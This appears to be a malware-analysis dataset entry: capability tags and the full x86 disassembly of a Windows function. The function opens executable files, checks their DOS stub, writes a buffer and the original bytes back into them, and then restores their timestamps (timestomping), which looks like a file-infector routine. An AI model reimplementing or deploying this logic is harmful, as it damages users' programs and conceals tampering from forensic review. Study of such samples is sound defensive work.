Function at 0x4034f0
Capabilities:
Get file attributes
Get file size
Read file on windows
Set file attributes
Timestomp file
Write file on windows

Disassembly:
sub esp, 0x324
push ebx
push ebp
mov ebp, dword [esp + 0x330]
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test al, 1
mov dword [0x40cbbc], eax
je 0x40351c
xor eax, 1
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push ebp
call fcn.00401180
add esp, 4
mov ebx, eax
mov eax, dword [0x40cbbc]
push 0
push eax
push 3
push 0
push 0
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0x40cb98
mov esi, eax
push 0x40cba0
push 0x40cba8
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
push 0
push 0x4e
push esi
call edi
lea ecx, [esp + 0x20]
push 0
push ecx
lea edx, [esp + 0x2c]
push 0x27
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push 0x26
lea eax, [esp + 0x28]
push 0
push eax
call fcn.00402370
push eax
lea ecx, [esp + 0x34]
push 0x40b688
push ecx
call fcn.004037a4
lea edx, [esp + 0x3c]
push str.This_program_must_be_run_in_win32_mode.
push edx
call fcn.004092c0
add esp, 0x20
test eax, eax
jne 0x4035d2
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x40cbbc]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x324
ret
test ebx, ebx
je 0x40371c
push 0
push 0
push ebx
push esi
call edi
lea ecx, [esp + 0x1c]
push 0
push ecx
lea edx, [esp + 0x54]
push 0x2e8
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, eax
push ebx
call fcn.00403730
mov dword [esp + 0x1c], eax
push 4
lea eax, [esp + 0x1b]
push 0x40c11c
push eax
call fcn.004037a4
add esp, 0x10
push 0
push 0
push 0
push esi
call edi
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push 0
push ecx
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x40cbbc]
push 0
push eax
push 2
push 0
push 3
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
mov esi, eax
push 0
push 0
push esi
call edi
mov edx, dword [0x40b030]
mov eax, dword [0x40cbd0]
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ecx, dword [0x40b030]
push 0
push 0
push ecx
push esi
call edi
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x14]
push 0
push edx
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_WriteFile]
push eax
push esi
call ebx
push 0
mov ecx, dword [0x40b034]
push 0
push ecx
push esi
call edi
lea edx, [esp + 0x1c]
push 0
push edx
lea eax, [esp + 0x54]
push 0x2e8
push eax
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call edi
mov ecx, dword [0x40cbbc]
push 0
push ecx
push 3
push 0
push 3
push 0xc0000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0x40cb98
mov esi, eax
push 0x40cba0
push 0x40cba8
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x324
ret
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x324
ret